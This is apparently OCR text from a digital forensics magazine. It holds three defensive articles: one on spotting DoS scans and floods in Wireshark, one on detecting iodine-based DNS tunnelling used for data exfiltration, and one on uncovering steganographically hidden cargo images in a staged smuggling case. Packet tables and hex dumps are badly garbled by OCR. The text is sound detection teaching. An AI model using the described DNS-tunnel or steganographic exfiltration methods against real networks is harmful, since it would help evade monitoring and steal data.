| Ml vest 01 09-06-2013 00006_20130808092925 L1006 (w1205 fr 11000

| Bile Edit Yiew Go Capture Analyze Statistics Telephony JToals [ntermals  Help

#E M5 cyNsean

SiP RIP SDP g0

From server
MAC address...

Source MA

res = epmap [S¥N] Seq=0 win=16384 Len=0 00:07

beeyond-media > epmap [S¥N] Seq=0 win=1
close-combat > epmap [SYN] Seq=0 win=16
dialogic-elmd > epmap [SYN] Seq=0 wWin=1
tekpls > epmap [SYN] Seqg=0 Win=16384 Le
sentinelsrm = epmap [5YN] Seg=0 Win=163
= epmap [5YN] Seq=0 win=16384 L
ismaeasdaqlive = epmap [SYN] Seq=0 win=
ismaeasdaqtest » epmap [SYN] Seq=0 win=
bes-Tmserver > epmap [sS¥Yn] seq=0 win=16

| C@ Am 4 R E Unknownaddressemi] aQab
Filter: i = | Exprasson ok
L] 1 ¥

Me.  Time Source Destination Protocol Info
3 0.000023000 168.64.3.148 199.192.155.160 TCP

4 0. 000035000 168.64.3.149 199.192.155.160 TCP

5 0.000046000 168.64.3.150 199.192.155.160 TCP

6 0. 000059000 168.64.3.151 199.192.155.160 TCP

Fil 0. 000071000 168.64.3.152 199.192.155.160 TCP

& 0. 000083000 168.64.3.153 199.192.155.160 TCP

] 0. 000094000 168.64.3.154 199.192.155.160 TCP eyeleye
10 0.000106000 168.64.3.155 199.192.155.160 TCP

11 0.000117000 168.64.3.156 199.192.155.160 TCP

12 0.000130000 168.64.3.157 199.1982.155.160 Tce

13 0.000142000 168.64.3.158 199.192.155.160 TCP

Figu}e 7. TCP scan caused by aworm

mpnjsc > epmap [SYN] Seq=0 win=16384 Le

00:
00:
00:
00:
00:
00:
00:
00:
00:
00:

07:
o7 :
07:
07:
07:

14

zed:
ed:
ed:

+ With the statistical tools, choosing from Statistics - Conversations, it will be even easier to see it.
When | checked the Ethernet statistics (top-left) we see connectivity only between the MAC ad-
dresses of the server and the router, while in the TCP statistics we see 11912 connections (in this

case connection attempts). This is a server that generated traffic that denies access to it.
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Figure 8. TCP scan on Wireshark statistics window

» Since the test period was very short, | had to change the X-Axis resolution to 0.01 Seconds, and
during this period of time, we see that the load is around 70Mbps, which was enough to significantly
slow down access to the server
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Figure 9. TCP scan on Wireshark 10 Graphs window

This type of attack is also known as a starvation attack, since it consumes major part of server resourc-
es. It was a process generating a lot of traffic from the server to the world, but the addresses were ran-
dom so without Wireshark it looked like a loaded network.

There are various types of attacks in this category. You can see TCP packets with all flags set to “0”
(NULL scan), TCP flags FIN, PSH and URG set to “1” (Xmas scan), and so on. Any massive IP, TCP or
UDP scans for which you don’t know the source or purpose should be considered as a possible attack.

Another type of attack is to open multiple connections to the server, in order to consume server’s mem-
ory and in this way to slow it down. To do so, the attacker will:
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* First generate TCP-SYN packets to the server, as illustrated below. It can be done with Nmap or any
other port scanner. We can see here IP address 10.0.0.1 scans the server 81.218.230.244 to look
for open TCP ports.

= . .
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10.0.01 52798 81.218.230.244 telnet 1 i 0 0 58.966762000 0.0000
10001 52798 81.218.230.244 epmap 1 8 0 0 58966791000 0.0000
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10001 52798  81.218.230.244 mysql 1 ] 0 0 58.566842000 0.0000
| 10001 52798 81.218.220.244 h323hest: 1 ] 0 0 58.066867000 0.0000
| 10001 52798 81.218.230.244 ftp 4 B8 3 174 58.966893000 9.8346 |
10001 52798 81.218.230.244 microsoft al 8 1] 0 58.966925000 0.0000 _
¥| Name resolution Limit to display filter
Help l Copy Follow Stream Graph A-E Graph B—-A | Llose I

Figure 10. TCP scan looking for open ports

» If for example HTTP (port 80) is open, the next step is to generate high rate HTTP GETs, POSTs or

other requests in order to slow down the server.

This attack can be performed on any network service, and when not protected, to slow it down and pre-
vent users from accessing it.

APPLICATIONS BASED ATTACKS
Application-based attacks are those that try to cause an application to slow down to the point where the

application cannot deliver its service to the users. In this type of attacks you should look for:

* NetBIOS scans: massive scanning of NetBIOS ports, multiple “Create andX” or “Read andX” re-

quests from unidentified sources.
« HTTP: SYN requests to HTTP port 80 with HTTP “GET”, “POST” or other requests later on

* SMTP or POP: It looks for massive scanning on the TCP port 25 or 110

» SIP: It looks for massive requests on port 5060

In the following example we can see multiple “GET” commands sent to a specific server. This capture file
shows multiple HTTP GETs without any sense and therefore should be suspected.

| Capturing from Wireles
File Edit View Go Capture Analyze Statistics Telephonx TJools Internals Help

O ® 4 m

&

i -

Filter: = http.request.method == "GET™
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Figure 11. Multiple HTTP “GET” commands send by an attacker
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Another example is when a NetBIOS Mailslot service floods the network with broadcast, as we can see
in the following illustration. In this case it was a massive broadcast, that blocked the local router port, and
therefore connectivity from the remote office to the HQ was blocked.

ol 004 - SN Warmptapng  [Wereshark 1106 (v1.10U rom madter-1.10
Ede Ede Yiew Go Copture Anabze Statistics Telephony Took

Broadcasts

cOAME BEXR e OT R @R % X
Faver > AT SD@ P
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4 0.000002000  172.30.121.1 172.30.121.255  SuB Mailslot write Mail Slot 1461 2b: 5d: €3
3 D, DOOO00 3000 172.30.121.1 172.30.121. 255 SME = - e 2 s =l - ‘___'\_' ~a 3
6 0.000945000  172.30.121.1 172.30.121.255  sugicomowons e =
7 0.000946000  172.30.121.1 172.30.121.255 s 3
8 0.000947000  172.30.121.1 172.30.121.255  Sue 13
9 D, 00094 8000 172.30.121.1 172.30.121. 255 SM w3
10 0.001823000  172.30.121.1 172.30.121.255  <u s
11 0.001824000  172.30.121.1 172.30.121.255 M 3
12 0.001825000  172.30.121.1 172.30.121.255 = In the 10 Graph: |3
13 0. 001826000 172.30.121.1 172.30.121. 255 M| 3
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Figure 12. NetBIOS Mailslot service blocks communications channel

It is to note that a service that “freaks out” can look like an attack while it can be just an operationg
system or application problem. The result can be the same as DoS/DDoS: traffic that blocks access to
a resource.

NETWORK RESOURCES BASED ATTACKS
These types of attacks are targeting communications equipment or the network protocol stacks. Here
we will see for example MAC-Based attacks, ARP floods, routing table’s manipulations and some others.

MAC-address based attacks are attacks that attempt to confuse the LAN switch with false MAC ad-
dresses. In these types of attacks the attacker listens to source MAC addresses and then sends these
source addresses as his own address. These types of attacks usually are easier to locate with network
management systems, that when configured properly will send traps about it.

ARP based attacks can be used for man-in-the-middle attacks, and also to DoS/DDoS. In the second
case, you will see mostly things like ARP responses without request.

Routing table’s manipulation attacks come to confuse network routers with wrong routes. To prevent it
from happening just configure your routing protocols with authentication. In this case you will see rout-
ing updates coming from unknown sources, and configured properly, your routers will alert you about it.

DNS based attacks which are quite common comes to confuse clients with wrong resolved names or
to send servers wrong DNS answers in order to manipulate it's cache.

Another thing to watch is if you see in the packets common scripting tools. In the next illustration you can
see that in the packet details we see “Nmap Scripting Engine”. Not a pretty sight to see on your network!
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Filter; ~ | Expression...

Ne. Tirne Source Destination Pretocol Info
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Hypertext Transfer Protocol

- GET /nmaplowercheck1377513643 HTTP/1.1\r\n
Connection: closel\ri\n
User-agent: Mozi1la/5.0 (compatible; Wmap Scripting Engine; http://nmap_0rg/b00k/nse.htm11\r\n
Host: www.ndi-com.com\r\n
\ri\n
[Full request URI: http://www.ndi-com.com/nmaplowercheck1377513643]

0040 6F 77 65 72 63 68 65 63 6b 31 33 37 37 35 31 33 owerchec k1377513
0050 36 34 33 20 48 54 54 50 2f 31 2e 31 0d Qa 43 &6f 643 HTTP /l.1..Co
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0080 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 11la/5 0

0090 69 62 6¢ 65 3b 20 4e 6d 61 70 20 53 63 72 69 70 1

00a0 74 69 6e 67 20 45 6e 67 69 6Ge 65 3b 20 68 74 74
00b0 70 3a 2f 2f 6e 6d 61 70 2e 6f 72 67 2f 62 6f 6f
00cO &b 2f 6e 73 65 2e 68 74 6d 6c 29 0d Oa 48 &6f 73

AnAN TA a2 WA T IT? F? Va Ba &4 &6 24 £ &F &4 7%= A2

Figure 13. Nmap scan example

CONCLUSION

DoS ad DDoS attacks are attacks are attempts to make a computing or network resource unavailable to
its users.Althogh there are various types of IDS/IPS (Intrusion Detection System / Intrusion Prevention
System) that comes to protect against these attacks, With Wireshark you can look deep into the packets
and find out the problem. While in IDS/IPS are devices or software components.
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SNEAKY DNS:
FORENSIC ANALYSIS
ON DNS TUNNELING

by Andrius Januta

This article describes how one of the Internet’s core protocols is
usually overlooked in organization’s network security. This protocol
is DNS, which in recent years is getting more and more exploited

in various cyber-attacks. This paper unravels how DNS tunnelling is
used for malicious communications or for data exfiltration.

What you will learn:

* how to notice DNS tunnelling tak-
ing an action.

» what might be possibly tunnelled
over DNS.

* how to mitigate or minimize DNS
impact.

* how to use “Wireshark” for DNS
inspection.

What you should know:

 basic understanding of DNS and
HTTP protocols.

+ basic understanding of covert
channels.

 basic understanding of tunnelling
in computer networks.

« Basic understanding of how to use
“Wireshark”

practise in securing the computer and network perimeter is a strict

lockdown of unused or unnecessary communication channels. At the
network communication level, the security policies are mostly enforced using
firewalls. These policies usually include list of ports and protocols that must
be disallowed. Here, covert channels are used to bypass such security poli-
cies. One protocol in particular is DNS. In most of the organizations this proto-
col is not so well monitored as compared to HTTP(s), SSH, SMTP etc. There-
fore it makes it easier to communicate secretly by leveraging a normal looking
communication channel — this phenomenon is known as covert channel.

THE FORCE HAS A DARK SIDE - PROTOCOL TUNNELLING

Protocol tunnelling is a technique widely used in computer networks. This is
where we have a double-edged sword problem. In practise, we are very famil-
iar with protocol tunnelling i.e. VPN, IPsec. This approach provides additional
features such as security on the existing information flows. On the other side,
tunnelling is used as a technique to encapsulate disallowed protocols in order
to evade intermediate security checkpoints like firewall, proxies etc.

E very organization has some sort of security policy put in place. A good

The most popular and common usage of such technique is applied on
bypassing various captive portals. The main purpose of them is to enforce
user to authenticate or pay for an Internet connection. They are very com-
mon in such places as coffee shops, airports etc. This is only the tip of the
iceberg, — unfortunately. Two-three years ago botnets started using DNS for
their command and control (C&C) communications. Seeing how creatively
DNS protocol is being exploited i.e. non-consecutive DNS queries over long
time periods etc. puts organization’s IT security in a high risk. At present
time, there are only few to almost no effective countermeasures to detect or
prevent DNS abuse.
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Figure 1. DNS tunnelling

Figure 1 shows a basic concept of DNS tunnelling in action that was set up for current demonstration.
As it was mentioned before, there are several different DNS tunnelling tools. In our case we were using
— “iodine” (http://code.kryo.se/iodine/). Mainly, because it easy to set up and is available for different *nix
type operating systems, as well as Windows and even for Android OS.

In Figure 1, a computer user with a label “A” is using the Windows OS and runs the jodine client ex-
ecutable. A server with the label “B” is also running on Windows OS and has some additional services
running, besides iodine server side executable. One of the most common services used together with
DNS tunnelling is SSH (Secure Shell). This way we are able to transfer any kind of data over a network
through an encrypted channel via DNS requests and response messages. It is very common to make a
SSH over DNS tunnel and then on top of that use other protocols i.e. HTTP, FTP etc. To better under-
stand how it is done, some ground rules have to be set. Let’s consider the following scenario:

A restricted network user (A) wants to exfiltrate data from an organization’s internal resources to a re-
mote server (B). The remote server runs a special, server side, tunnelling software and SSH server. This
server may also run other services i.e. Apache web server, ftp etc.

Before starting to exfiltrate data, the user had set up a DNS record (External DNS service) on free or
paid DNS services. The core point from the server side is to be registered over the DNS infrastructure
as the authoritative nameserver for a certain subdomain therefore any name resolution requests for
hostnames under this subdomain are forwarded to this authoritative nameserver which DNS tunnelling
server component and SSH service.

Considering the given scenario the step-by-step workflow for this activity would be similar to this:

* Arestricted user (A) sends a proper DNS request to an internal DNS server

* Local DNS server has a recursive name query option enabled. It checks if it has any DNS entry re-
cord of the user specified internet address resource.

* A local DNS server tries to resolve recursively through the DNS hierarchy an IP address of a re-
quested hostname.

* Once an authoritative response is found, it will be sent back to an organization’s local DNS server.

» Arestricted user receives a DNS response of where a dedicated machine is running its services.

* The DNS tunnel is now established. A user performs HTTP over SSH over DNS in order to make
sure that his HTTP traffic is encrypted over DNS tunnel.

UNRAVEL THE MYSTERY DNS
As we can see DNS is a very attractive protocol for various types of usage. Although, it is important to
remember or to know Newton'’s third law of motion which says that “for every action there is an equal and
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opposite reaction”. This means that for every detection technique there will always appear new ways to
avoid them. This leads to a question how we can detect DNS tunnelling and/or what is being tunnelled?

In general, each DNS tunnelling utility differs in its implementation which makes it difficult to have a
unified detection technique. Although, most of the tools do not try to be very stealthy. In order to start un-
ravel this type of activity there are two main categories of detection: payload analysis and traffic analysis.

+ Payload analysis — it involves inspecting the content of a packet (-s). Using this type of technique
things to look for can be: size/number of requests and responses, entropy of hosthames, uncommon
record types etc.

+ Traffic analysis — it involves inspection of a captured traffic over a specific amount of time. Using
this type of technique things to look for can be: large volume of DNS traffic per IP address/domain
name, hostnames per domain etc.

In this article we will demonstrate basic techniques which will help to discover or identify that some-
one is using DNS tunneling. It is important to note that current DNS tunneling demonstration was car-
ried out in a controlled environment. Previously mentioned word — “basic”, in this case, does not mean
“easy”. However, the network protocol behavior that can be seen in a controlled environment can be
an indication when analyzing communications on a large scale networks. As we know, corporate net-
work are immensely complex and data that passes through them, using different protocols for delivery,
are overwhelming.

In order to start investigate network protocol communications we will use well known tool “Wireshark”
— network protocol analyzer.

UNUSUAL DNS TRAFFIC

To better understand how to identify unusual DNS traffic, first we have to understand how the DNS tun-
neling tool operates to transmit the data over the network. It was mentioned that for our scenario we will
use “jodine”. By default, it transmits data over DNS NULL record queries and responses for subdomains
that are under an attacker’s controlled domain. Since we have used default settings we would expect to
see these types of packets in Wireshark. The tool also supports other types of tunneling options such as
over TXT, SRV, MX, CNAME and A records. Over the days we have observed how the normal network
traffic communication looks like inside the network. In order to make it easier to process gather data we
have chosen one hour time frame in which we will analyze the network traffic.

Figure 2 shows normal network protocol statistics within one hour time frame. We can see that DNS
packet count percentage is quite low — 0.85%. After initial benchmarking we can start looking at specific
point in time to identify unusual rise in DNS packet count. In Figure 3, we can see relatively high percent-
age of DNS packet count — 5.61% within the one hour time frame.
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Figure 2. Protocol Statistics — normal DNS traffic
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Figure 3. Protocol Statistics — unusual usage of DNS traffic

In case it is difficult to wrap your head around the number, Wireshark has a great capability of plotting
network traffic onto graphs.
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Figure 4. Graph of normal DNS traffic
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In Figure 4 we can see how low is the DNS traffic compared to the rest of the network traffic. While in
Figure 5 it is very clearly seen the increase in DNS traffic, we can even see the unusual spikes, which
might indicated that something was heavily tunneled via DNS channel.
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Figure 5. Graph of high DNS traffic
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After looking at the statistics and graphs lets go deeper into packet analysis.
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185818 2681.07709 192, 168.1.1 192.1.63.1. 198 standard query response Ox898f NULL z5fear-aaahbh-Drink-
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Figure 6. Wireshark main window
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Figure 7. Wireshark filter rule applied



Figure 6 and Figure 7 depict filtered DNS traffic for more focused analysis. In Figure 7 we have cre-
ated a filter with dns.qry.type == NULL || dns.resp.type == NULL value which filters out all unneces-
sary network traffic by displaying only what we need. In packet frame number 185559, we can see many
DNS requests and responses being exchanged between local DNS server (192.168.1.1) and the source
(192.168.1.25). What also raises a suspicion is the DNS traffic contains big amount of NULL type re-
quests and responses. Since we know that for DNS tunneling we have used iodine we can easily see
how it performs. It sends traffic as queries of type NULL for subdomains (yrb5eq.home.cs2lab.ax.It) un-
der top domain (*.It).

- DNS tunneling.cap (Wireshark 1106 (v1.10.6 from master-1.10)] - olEN
| File Edit View Gn Copture Analye Statistics Telephany Tnals [ntemals Help |
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| 185772 2676. BRAO6R 192, 168.1.1 192.168.1.25 ONS 185 Standard query response Oxdece  NULL yrbSeq. bome. cs2 lab. a
| 185775 2676. 89258 192.168.1.25 192.168.1.1 DHS 100 standard query OxBad? MULL vaaaakatlse,home.cs2lab.ax. It
185776 2676.59408192.166.1.1 192.16B6.1.25 D5 151 Standard query response OxSad? NULL vaaaakat2se. home,cs?

185777 2676 BYS05 192, 168.1.25 192.168.1.1 DNS 121 standard query Ox@dbf muLL ladphheusxaagfhlehhusirsizsss « |

rime to Tive: 1 hour =
pata length: 2
Name Server: cs2lab.ax.lt
Additional records
3 ¢s2lab.ax.1t: type A, class IN, addr 193.10.9.5
wame: cs2lab.ax. Tt
Type: A (Host address)
class: 1N (00001}
Time ta live: 1 hour
pata length: 4
addr: 193.10.9.5 (193.10.9.5
i <AoOts: Lype QPT

0020 0L 19 00 35 d3 f4 00 97 9b 32 dc cc 6L 90 00 O1
G0I0 00 01 00 01 00 02 06 79 F2 B2 3% 65 71 04 BE af
0040 6d 65 OF 63 73 32 6c 61 62 02 6L 78 02 6C 74 DO
@050 00 0a 00 01 cO Oc 00 Oa OO0 01 O0 00 00 00 00 30
@060 00 00 00 00 ff ff ff ff 55 55 35 55 aa aa aa aa
070 K1 63 c8 d2 c7 7c b2 17 §f 4f ce B 49 2d 52 21
Q0B0 Gl a® 71 20 I5 b3 06 73 eb di 44 30 79 50 57
@090 <0 13 00 02 00 01 00 00 Oe 10 00 02 O 18 cO 18
0030 00 01 00 01 00 00 Qe 10 00 04 EWEENGENGE 00 00
@0b0 29 10 00 00 00 80 00 00 OO

|@ B | Response Address (dnsresp.eddrl dbytes  Packets 451604 . Displayedt 25442 (56%) - Load time: 0:33.020 Prefile: Default

Figure 8. Additional records field

If we expand other fields (Figure 8) within the packet frame, number 185773, structure we will see that
it contains Additional Records section. Inside of it there is Type field, which is set to A, which means the
data contained in this part is an IP Address for a particular host (193.10.9.5). In our case this is the end-
point of the DNS tunnel.
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Figure 9. Encrypted content of Data section

If we look at other important fields within DNS packet frame number 185773 we will see Answer sec-
tion (Figure 9). This section contains remote server’s response to a previous DNS “NULL query (packet
number 185559) for "yrb5eq.home.cs2lab.ax.It”. What is more, it also contains a section named Data.
This is the section where iodine puts tunnelled data. As we can see the ASCII representation of data field
is scrambled or in the words encoded. It is possible to decode and extract the information regarding the
tunnelling. Nevertheless, by performing a deep analysis on Data field information we can extract tun-
nelled IP packets. Within those IP packets it is later possible to identify source and destination addresses
with corresponding port numbers, which might confirm that indeed there was a data tunnelled between
two IPs. Unfortunately, we will not be able to recover or extract the content of the tunneled data, because
the user had established an SSH tunnel over DNS and then used it to exfiltrate the data via HTTP.

1.

FINAL THOUGHTS

In this article we have touched only the tip of the iceberg. Nevertheless, as it can be seen from what has
been shown and discussed above, there are several characteristics that might help to identify unusual
DNS traffic behavior.

We know that, by default, iodine is using “NULL" field to tunnel the traffic. Normally, DNS traffic con-
tains queries and responses with "A” record, although there might be as well “NS” or “MX” records
used. In general, DNS NULL record requests are unusual and perfect for covert tunnelling. This is so
because the NULL record can contain any type of data. This means that it will be easy to go through
organization perimeter. Last important aspect during our demonstration was the SSH over DNS tunnel.
This is very common technique to use when exfiltrating the data from organization. Even if the tunnel
is recovered the content of Layer 7 (application) of tunnelled traffic will be encrypted. In our case it was
HTTP over SSH over DNS tunnel.
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AUTOMATED
INSPECTION OF X-RAY
CARGO IMAGES

USING WIRESHARK, IMAGE STENOGRAPHY, AND
MACHINE LEARNING

by Wilbert A. McClay and Akshay Nayak

We have seen numerous movies in which smugglers and
mobsters smuggle drugs or even weapons in a port until they
are interrupted by a Rogue cop or a vigilante who catches them
red handed and gives them a beating of their life. What if there
was a more subtle way to do this? This article involves a real life
scenario in which something similar occurs. Here, we show how
a good network administrator or forensic investigator can catch
a corrupt port official involved with a syndicate. This official is
supposedly sending the bad guys inside information regarding
the containers such as container number, weapon contained
and location of drop. Wireshark is used to sniff network packets
and a host of other tools (i.e. machine learning algorithms and
stenography tools) are used to uncover the information.

» Sections of a Packet (primarily the payload) + Basic graphical image (i.e. JPEG, TIF, GIF, BMP.)
» Stenography Image Tools and Passphrase Encryp- | « Basic TCP/IP protocols
tion (i.e. S-Tools 4) » Basics of using Social Media accounts and applications (i.e. www.tinypics.com)
« Image Processing Algorithms (i.e. Sobel Edge Oper- | ¢ Familiarization with OSI Model layers
ators, greyscale image intensity gradients and trans- | < Familiarization with X-ray screen scanners
parency)  Basics of Linear Algebra, Statistics, and Calculus
* Variational Bayesian Factor Analysis Machine Learn- | + Basics of programming
ing Algorithm using Expectation-Maximization (EM) | ¢ Basics of Windows and Linux Operating Systems
Theory
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uring 2003, Federal Computer Week (FCW) wrote an article: “Investigative Data Mining Part of
D Broad Initiative to Fight Terrorism [1]”. The FCW article states, “investigative data mining and an-

alytical software comb vast amounts of digital information to discover patterns and relationships
that indicate criminal activity”. This form of analysis to discover patterns in criminal activity is considered
forensic data analysis.

Computer Forensics Data Analysis (CFDA) is considered one of the most data-intensive areas of infor-
mation security [2]. The use of machine learning in computer forensics data analysis is a form of Artificial
Intelligence (Al) that instructs a computer to learn without having to be explicitly programmed to find pat-
terns in criminal activity. The significant benefits from applying machine learning algorithms to CFDA are: to
evaluate data of forensic images, seek novel automation and training tools for forensic software analysis,
and investigating system logs or logged network traffic after a security incident. Thus, the objective of ma-
chine learning algorithms focus attention on the most relevant and important information related to solving
an investigation and to predict and automate the inspection of extremely large volumes of forensic data
now becoming a necessity in computer security. The need for deep packet analysis is crucial to track mali-
cious, criminal activities in network forensics. This study we use Wireshark, Steganography Tools, and ma-
chine learning algorithms for deep packet analysis and investigate its importance in forensics data analysis.

Wireshark is an advanced packet analyzer program previously known as “Ethereal”. Gerald Combs de-
signed Wireshark, the software packet analyzer to run on both Windows and UNIX platforms. It supports
multiple protocols and presents information in a clear-text based user interface, and can understand the
structure of different networking protocols, thus the user is able to view fields of each one of the head-
ers and layers of the packets being monitored. Borja Merino Febrero of Instituto Nacional de Tecnologia
de la Comunicacion (INTECO) states that Wireshark is a free and open-source tool that has the advan-
tages of auditing the network with a traffic analyzer [3]. This provides a wide range of options to network
forensic investigators when performing certain traffic analysis tasks [1] [3]. Thus, a packet is a repository
containing a header, payload, and a footer, which is also referred to as a trailer. The packet’s header list’s
the destination of the packet or the IP address and the extent of the packet’s information. The packet is
needed to ensure that the information being transferred over the network arrives at the correct recipient
without being changed or altered.

The use of Deep packet inspection (DPI) differs from Shallow packet inspection (SPI), in that DPI al-
lows the Wireshark software to read the Application, Presentation, Session, and Transport layers in the
OSI model, this results in reading the payload. DPI is beneficial as an Intrusion Protection System (IPS)
in detecting viruses, worms, Trojan horses, or other forms of malware which maybe hidden in the pay-
load of the packet. Also, note that DPI is a very invasive form of analysis and can be considered a viola-
tion of privacy on many networks.

Machine learning and image processing algorithms are used to extract features from graphical images
within the payload. These image processing algorithms extracted features within the graphical images
are generated using Sobel Edge operators and other measurements based on the local a global statisti-
cal characteristics of the graphical images [4], such as the opacity of the image. It calculates the gradient
(smooth blending shades) outlines extracted features of a vehicle within an image based on its intensity.
Figure 1-2 demonstrated below illustrates the use of a Sobel Edge Operator and local and global statis-
tics (i.e. average intensity, opacity, and transparency) on X-ray cargo scans of vehicles.

ress Return for next file

Figure 1. Output of Sobel Edge Operator on x-ray cargo SUV vehicle image scan
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Figure 2. Output of Sobel Edge Operator on multiple x-ray cargo vehicles image scan

The extracted gradient features are to characterize the separability and variability within the images.
These extracted features are sent to a machine learning algorithm called Variational Bayesian Factor
Analysis (VBFA) and are used as training matrices to distinguish one image from another in real-time
data analysis[4] [5]. Moreover, the VBFA is an adaptive learning algorithm using observed data (poste-
rior distribution) to find hidden variables (i.e. extracted gradient features). VBFA relies upon Expectation-
Maximization (EM) to detect the global maximum values in the data set. This is used to find the optimal
hidden state [6]. The use of Stenography to hide image data and messages within fraudulent images will
be used smuggle weapons information through network traffic. We will use Wireshark to capture this net-
work traffic information and use Stenography tools to decrypt the hidden data.

CASE STUDY

To demonstrate the concept of inspection of X-Ray Cargo images using Wireshark, Stenography, and
machine learning algorithms, three unique steps will be involved. The first step will involve preprocess-
ing, using Sobel Edge Operators and other image processing algorithms to extract unique features of
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the graphical images, and the second step involves VBFA machine learning algorithms to develop train-
ing matrices on these extracted features using likelihood values to distinguish one image from another.

The third step uses Steganography Tools to hide textual metadata within images, which are uploaded
on the internet. The fourth step involves the use of Wireshark to capture outgoing network traffic that
identifies the uploaded image. The fifth step involves Stenography tools to decrypt the hidden cargo im-
age data.

SETUP

Windows/Linux workstation

Wireshark 1.10.6

An Emacs editor and graphical image libraries (i.e. libtiff) for image analysis.

Linux C/C++ compiler and Google Chrome version 32 or Mozilla Firefox as the Internet Browser.
7Zip, S-Tool 4.0(Stenography Image Tool)

www.tinypics.com (image hosting account)

SCENARIO

Imagine that you are the station manager at the Port of Oakland in California. Your primary goal is to en-
sure that cargo containers which are randomly scanned for weapons (i.e. guns and ammunition), nuclear
threats, human-trafficking, drugs, and other malicious activities are captured and seized via x-ray scan
images and processed and analyzed over Port of Oakland computer network. A SAIC VACIS (Vehicle
and Cargo Imaging System) at the Port of Oakland is used to capture x-ray scans and send the images
to a series of cargo inspectors over the computer network, shown in Figure 3 (below).

Figure 3. Cargo Container being examined by portable VACIS system

Since, there are thousands of cargo containers being shipped to the Port of Oakland daily, it is nearly
impossible to x-ray scan every container. Thus, only statistical portions of the containers are randomly
scanned for threats.

As the station manager at the Port of Oakland, you receive a tip that one of your inspectors is work-
ing with an organized international crime syndicate, and is helping the crime syndicate to smuggle
weapons (i.e. guns and ammunition) inside the interior of vehicles, merchandise, and bundle cargo
containers into the Port. Assuming the cargo containers with weapons are designated with an opaque
30 pixel cylindrical container are randomly placed in the vehicle, merchandise, and bundles (i.e. box-
es, tires, and etc.) interior, which are only displayed by x-ray scanning of the cargo container. Figure
4, displays an x-ray scanned cargo container containing merchandise with a weapons container inside
the merchandise’s interior.

www.eForensicsMag.com @ @
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X-ray Cargo Scan Merchandise Image with Ammunition Threat

Figure 4. Cargo container x-ray scan of merchandise image with weapons and ammunitions inside its interior

The dubious inspector is then uploading the threat cargo images containing weapons to his own www.
tinypics.com account with the cargo container’s metadata (i.e. container number, origination, and desti-
nation) embedded in it. These images are further masqueraded as random floral pattern images.

To communicate the smuggled weapons information to the organized crime syndicate, the inspector
is sending threat cargo images with the relevant metadata embedded, using Steganography tools. He
then compresses this image along with data required to retrieve the hidden information, using a file ar-
chiving and compression utility and hides this zip file inside a floral pattern image. He uploads the final
floral pattern image to his Tinypics account. The station manager hires a forensics network investigator
to assist the network system administrator to find evidence of weapons smuggling and identify the trail
of evidence to convict the dubious inspector smuggling the threat x-ray images.

The hypothetical scenario involves a realistic and relevant situation using Wireshark, 7Zip, S-Tools
(version 4.0), and image processing and machine learning algorithms, which will prove very useful to a
forensics investigator and/or network and administrator. The forensic investigator and network adminis-
trator use the following course of action to recreate the chain of evidence to convict the inspector, illus-
trated in Figure 5.

Network Administrator’s course of

. ) .
Corrupt inspector’s course of action action to decrypt hidden message

Corrupt Port Inspector hides metadata i.e.
container no., time of mrival, weapons (opague 30
pixel eylindrical contamer) using a steganography
software such as S-tools to encrypt the hidden data

using a passplirase.

The Inspector use TZip® to hide the original x-ray
weapons cargo image and a 1 file containing the
passphrase, within a random unsuspected image
(i.e. floral pattern)

The Inspector uploads the resultant unsuspected
image to an image hosting website (i.e. www,
Tinypics.com)

The Port Authority Network Administrator gets
tipped off that one of the port Inspectors is
working for a Syndicate.

!

The Network Administrator captures the packets
on the inspector’s network and finds raffic poing
to tmypic website, The Admmistrator uses the
captured packets to determine the image which the
nspector uploaded.

1

Upon finding the image, the Administrator
suspects that something must be hidden within the
flower image obtained from tinypic.

He extracts the contents of the flower image using
T-zip and uses the passphrase it file to decrypt
the message hidden inside the x-ray cargo image

with S-lools

Figure 5. Flowchart showing the course of actions of the Inspector and the Network Administrator

« =


http://www.tinypics.com
http://www.tinypics.com

First the forensics investigator recreates the pattern of the alleged criminal activity by dividing the x-
ray cargo images into three categories: vehicles, merchandise, and bundles. The three non-threat x-ray
cargo image categories are shown below in Figure 6(a). In Figure 6(b), the threat x-ray cargo images are

shown containing the weapons container.

Bundles

Merchandise

Vehicle

Figure 6(a). Three categories of non-threat x-ray cargo images: Vehicle, Merchandise, and Bundles

Each image paired with added threat objects.

Figure 6(b). Three threat categories of x-ray cargo images with weapons container

The next step involves using the Sobel Edge Operator to extract features of the threat and non-threat
x-ray images and define VBFA training matrices to distinguish an x-ray threat image from an x-ray non-

threat image illustrated in Figure 7.

[ Radiographic image Cparations using VBF A Classifier |

ot Ve e VBFA Output of Training

Datected Yohicke Image (B)

| Matrices from Sobel
Feature Extraction

Duvakop Mixing Matrix * A~ Deveiop VBFA

from outpul of binary | Teainirg Matices

Pt hpn L% iy - g 1 3315+ Lioglal = LreiT 2 ey

Maximize VBFA Cost Function lor Radiographic Image
Clastificstion

Figure 7. Sobel Edge detection on an x-ray Image and VBFA training matrices

www.eForensicsMag.com € »



/7
// / eForensics

IM a g a zin e

The third step uses S-Tools to hide the metadata inside the x-ray weapons cargo images. The fourth
step involves compressing the hidden threat image data and the passphrase text using 7Zip and em-
bedding it within a disguised floral image which is uploaded to www.tinypic.com as shown in Flowchart
Figure 8, below.

weapon

mm

X-Ray Weapons Cargo Image Embedding the text inimage Uploading the resulting

using passphrase goodflowers.jpg image to
tinypic.com
- i

L= =3 [
Cargo Image in S-tools Compressing the resultantimage = -
and passphrase txt Into zip file R.esul.tam image uploaded in the
tinypic account for easy access by

using 7 zi
_ . syndicate

Text to be hiddenin Image Combining the flowers image and the 7zip
file to create a resultant goodflowers.jpg
image

Figure 8. Steps taken by the corrupt official to hide data

The fifth step uses Wireshark to track the outgoing HTTP network traffic of suspicious packets, illus-
trated in Figure 9(a),
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Figure 9(a). Wireshark detects suspicious packets in network traffic
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The outgoing packet is being sent to the www.tinypics.com account. The network system administrator
and forensic investigator navigate to the inspector’s tinypic profile (using the packet captured by Wire-
shark) and download the floral image. They extract the contents of this image using 7Zip. Then, they
utilize the extracted passphrase to reveal the data inside the extracted cargo x-ray image using S-Tools.
The data extracted from the cargo image is the original message (i.e. containing passphrase and con-
tainer i.d. number), shown in Figure 9(b) below.
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Figure 9(b). Steps followed by the Network Admin to convict the corrupt inspector

CONCLUSION

Based on the HTTP connection and detection of the suspicious packets using Wireshark network ana-
lyzer, we were able catch the corrupt Port Inspector. We analyzed fraudulent image hiding of the threat
(weapons) x-ray cargo scan image classified by machine learning/image processing algorithms with
